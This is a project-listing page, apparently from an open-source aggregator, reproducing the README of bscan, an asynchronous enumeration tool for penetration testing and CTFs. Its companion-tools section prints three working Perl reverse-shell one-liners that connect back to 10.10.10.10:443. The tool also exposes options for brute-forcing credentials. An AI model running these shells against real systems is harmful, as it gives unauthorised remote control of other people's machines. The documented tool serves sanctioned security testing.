All Projects → welchbj → Bscan

welchbj / Bscan

Licence: mit
an asynchronous target enumeration tool

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to Bscan

Reconnoitre
A security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing.
Stars: ✭ 1,824 (+781.16%)
Mutual labels:  kali-linux, scanner, enumeration, nmap
Penta
Open source all-in-one CLI tool to semi-automate pentesting.
Stars: ✭ 130 (-37.2%)
Mutual labels:  network, scanner, nmap
Rapidscan
🆕 The Multi-Tool Web Vulnerability Scanner.
Stars: ✭ 775 (+274.4%)
Mutual labels:  kali-linux, scanner, enumeration
Nwatch
🔍 Tool for - Host Discovery, Port Scanning and Operating System Fingerprinting
Stars: ✭ 127 (-38.65%)
Mutual labels:  network, scanner, nmap
Sudomy
Sudomy is a subdomain enumeration tool to collect subdomains and analyzing domains performing automated reconnaissance (recon) for bug hunting / pentesting
Stars: ✭ 1,572 (+659.42%)
Mutual labels:  scanner, enumeration, kali-linux
Legion
Automatic Enumeration Tool based in Open Source tools
Stars: ✭ 280 (+35.27%)
Mutual labels:  scanner, enumeration, nmap
Hellraiser
Vulnerability scanner using Nmap for scanning and correlating found CPEs with CVEs.
Stars: ✭ 413 (+99.52%)
Mutual labels:  network, scanner, nmap
Silver
Mass scan IPs for vulnerable services
Stars: ✭ 588 (+184.06%)
Mutual labels:  network, scanner, nmap
Sudomy
Sudomy is a subdomain enumeration tool to collect subdomains and analyzing domains performing automated reconnaissance (recon) for bug hunting / pentesting
Stars: ✭ 859 (+314.98%)
Mutual labels:  kali-linux, scanner, enumeration
Autoenum
Automatic Service Enumeration Script
Stars: ✭ 134 (-35.27%)
Mutual labels:  enumeration, nmap
Nosqlmap
Automated NoSQL database enumeration and web application exploitation tool.
Stars: ✭ 1,928 (+831.4%)
Mutual labels:  scanner, enumeration
Unimap
Scan only once by IP address and reduce scan times with Nmap for large amounts of data.
Stars: ✭ 141 (-31.88%)
Mutual labels:  scanner, nmap
Discover
Custom bash scripts used to automate various penetration testing tasks including recon, scanning, parsing, and creating malicious payloads and listeners with Metasploit.
Stars: ✭ 2,548 (+1130.92%)
Mutual labels:  kali-linux, nmap
Scilla
🏴‍☠️ Information Gathering tool 🏴‍☠️ DNS / Subdomains / Ports / Directories enumeration
Stars: ✭ 116 (-43.96%)
Mutual labels:  network, enumeration
Powershell ipv4networkscanner
Powerful asynchronus IPv4 network scanner for PowerShell
Stars: ✭ 161 (-22.22%)
Mutual labels:  network, scanner
Asnlookup
Leverage ASN to look up IP addresses (IPv4 & IPv6) owned by a specific organization for reconnaissance purposes, then run port scanning on it.
Stars: ✭ 163 (-21.26%)
Mutual labels:  enumeration, nmap
Fi6s
IPv6 network scanner designed to be fast
Stars: ✭ 116 (-43.96%)
Mutual labels:  network, scanner
Pycat
Python network tool, similar to Netcat with custom features.
Stars: ✭ 162 (-21.74%)
Mutual labels:  network, scanner
Ivre
Network recon framework, published by @cea-sec & @ANSSI-FR. Build your own, self-hosted and fully-controlled alternatives to Shodan / ZoomEye / Censys and GreyNoise, run your Passive DNS service, collect and analyse network intelligence from your sensors, and much more!
Stars: ✭ 2,331 (+1026.09%)
Mutual labels:  network, nmap
Raccoon
A high performance offensive security tool for reconnaissance and vulnerability scanning
Stars: ✭ 2,312 (+1016.91%)
Mutual labels:  scanner, enumeration

bscan

🔍 an asynchronous target enumeration tool 🔎

travis status pypi built for kali linux python version


Synopsis

bscan is a command-line utility to perform active information gathering and service enumeration. At its core, bscan asynchronously spawns processes of well-known scanning utilities, repurposing scan results into highlighted console output and a well-defined directory structure.

License

bscan is intended for educational purposes and events such as CTFs only and should never be run on machines and/or networks without explicit prior consent. This code is released under the MIT license.

Installation

bscan was written to be run on Kali Linux, but there is nothing inherently preventing it from running on any OS with the appropriate tools installed. There's a few different types of packaged releases and ways to install them.

The easiest way to get up and running is to install the appropriate single-file executable version of the program for your operating system (no Python installation required):

# on Linux (i.e., Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux

# on Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

# to download a specific version, use the following pattern
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4

You can also download the latest packaged version from PyPI (note that this requires an existing Python 3.6+ installation):

pip install bscan

Similarly, you could get the bleeding-edge version from version control:

pip install https://github.com/welchbj/bscan/archive/master.tar.gz

Basic Usage

bscan has a wide variety of configuration options which can be used to tune scans to your needs. Here's a quick example:

$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

What's going on here?

  • --max-concurrency 3 means that no more than 3 concurrent scan subprocesses will be run at a time
  • --patterns [Mm]icrosoft defines a custom regex pattern with which to highlight matches in the generated scan output
  • --status-interval 10 tells bscan to print runtime status updates every 10 seconds
  • --verbose-status means that each of these status updates will print details of all currently-running scan subprocesses
  • scanme.nmap.org is the host upon which we want to enumerate

bscan also relies on some additional configuration files. The default files can be found in the bscan/configuation directory and serve the following purposes:

  • patterns.txt specifies the regex patterns to be highlighted in console output when matched with scan output
  • required-programs.txt specifies the installed programs that bscan plans on using
  • port-scans.toml defines the port-discovering scans to be run on the target(s), as well as the regular expressions used to parse port numbers and service names from scan output
  • service-scans.toml defines the scans be run on the target(s) on a per-service basis

Detailed Options

Here's what you should see when running bscan --help:

usage: bscan [OPTIONS] targets

 _
| |__  ___  ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|

an asynchronous service enumeration tool

positional arguments:
  targets               the targets and/or networks on which to perform enumeration

optional arguments:
  -h, --help            show this help message and exit
  --brute-pass-list F   filename of password list to use for brute-forcing
  --brute-user-list F   filename of user list to use for brute-forcing
  --cmd-print-width I   the maximum integer number of characters allowed when printing
                        the command used to spawn a running subprocess (defaults to 80)
  --config-dir D        the base directory from which to load the configuration files;
                        required configuration files missing from this directory will
                        instead be loaded from the default files shipped with this
                        program
  --hard                force overwrite of existing directories
  --max-concurrency I   maximum integer number of subprocesses permitted to be running
                        concurrently (defaults to 20)
  --no-program-check    disable checking the presence of required system programs
  --no-file-check       disable checking the presence of files such as configured
                        wordlists
  --no-service-scans    disable running scans on discovered services
  --output-dir D        the base directory in which to write output files
  --patterns [ [ ...]]  regex patterns to highlight in output text
  --ping-sweep          enable ping sweep filtering of hosts from a network range
                        before running more intensive scans
  --quick-only          whether to only run the quick scan (and not include the
                        thorough scan over all ports)
  --qs-method S         the method for performing the initial TCP port scan; must
                        correspond to a configured port scan
  --status-interval I   integer number of seconds to pause in between printing status
                        updates; a non-positive value disables updates (defaults to 30)
  --ts-method S         the method for performing the thorough TCP port scan; must
                        correspond to a configured port scan
  --udp                 whether to run UDP scans
  --udp-method S        the method for performing the UDP port scan; must correspond
                        to a configured port scan
  --verbose-status      whether to print verbose runtime status updates, based on
                        frequency specified by `--status-interval` flag
  --version             program version
  --web-word-list F     the wordlist to use for scans

Companion Tools

The main bscan program ships with two utility programs (bscan-wordlists and bscan-shells) to make your life a little easier when looking for wordlists and trying to open reverse shells.

bscan-wordlists is a program designed for finding wordlist files on Kali Linux. It searches a few default directories and allows for glob filename matching. Here's a simple example:

$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt

Try bscan-wordlists --help to explore other options.

bscan-shells is a program that will generate a variety of reverse shell one-liners with target and port fields populated for you. Here's a simple example to list all Perl-based shells, configured to connect back to 10.10.10.10 on port 443:

$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Note that bscan-shells pulls these commands from the reverse-shells.toml configuration file. Try bscan-shells --help to explore other options.

Development

Start by setting up a new development environment and installing the requirements (using virtualenvwrapper / virtualenvwrapper-win):

# setup the environment
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev

# get the deps
pip install -r dev-requirements.txt

Lint and type-check the project (these are run on Travis, too):

flake8 . && mypy bscan

When it's time to package a new release:

# build the single-file executable
pyinstaller bscan.spec

# build source and wheel distributions
python setup.py bdist_wheel sdist

# run post-build checks
twine check dist/*

# upload to PyPI
twine upload dist/*
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].